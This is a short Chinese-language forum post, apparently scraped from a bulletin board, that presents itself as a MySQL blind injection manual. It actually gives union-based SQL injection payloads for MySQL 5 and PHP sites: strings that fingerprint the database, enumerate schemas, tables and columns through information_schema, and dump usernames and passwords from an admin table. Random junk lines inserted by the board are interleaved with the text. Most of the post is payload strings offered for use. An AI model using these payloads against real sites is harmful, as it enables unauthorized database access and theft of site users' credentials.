mysql盲注手册

admin

教程内容:Mysql 5+php 注入
! M, _0 b& T" G6 c; {7 m4 D  M. Y1 x

# B- @7 r5 N( g5 j- f/ N( M! [4 A
一.查看MYSQL基本信息(库名,版本,用户)
* o6 D; C0 E5 ^. t; ?
: m7 o1 x+ R& n" B1 G- e  q6 M; h3 rand 1=2 union select 1,2,3,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),5,6,7,8/*

二.查数据库
+ z2 i* N2 U  M# N. V* L* C; ^
and 1=2 union select 1,SCHEMA_NAME,3,4,5,6,7,8  from information_schema.SCHEMATA limit 1,1/*
# X. d0 u9 ]; n" `" J- ^! G$ {limit 从0开始递增，查询到3时浏览器返回错误，说明存在2个库。
& F% J0 r3 f% c) l7 g
) }) x4 b3 z8 g  S三.暴表

and 1=2 union select 1,2,3,TABLE_NAME,5,6,7,8 from information_schema.TABLES where TABLE_SCHEMA =库的16进制编码 limit 1,1/*

- r4 N: ^" I* ?& c0 N8 f0 e/ _+ q: blimit 从0开始递增，查询到14时浏览器返回错误，说明此库存在13个表。
4 ?. o9 n( D# ?3 D6 B
: \( z: J3 p9 `8 b1 Q四.暴字段

" s' B- G) }' `4 ~and 1=2 union select 1,2,3,COLUMN_NAME,4,5,6,7,8from information_schema.COLUMNS where TABLE_NAME=表的16进制编码 limit 1,1/*
, S4 s- Z  [# ^4 t+ p  a% @" m
+ G  R) C5 I9 e$ |2 Jlimit 从0开始递增，查询到时浏览器返回错误，说明此表存在N-1个列。

" t+ R; {9 u! `五.暴数据
( f+ g' L) r: r! T- |
5 V3 j8 U0 Q/ i4 J. e6 j+ oand 1=2 union select 1,2,3,name,5,password,7,8 from web.ad_user/*


这里直接暴明文的密码，大多时候我们遇到的是MD5加密之后的密文。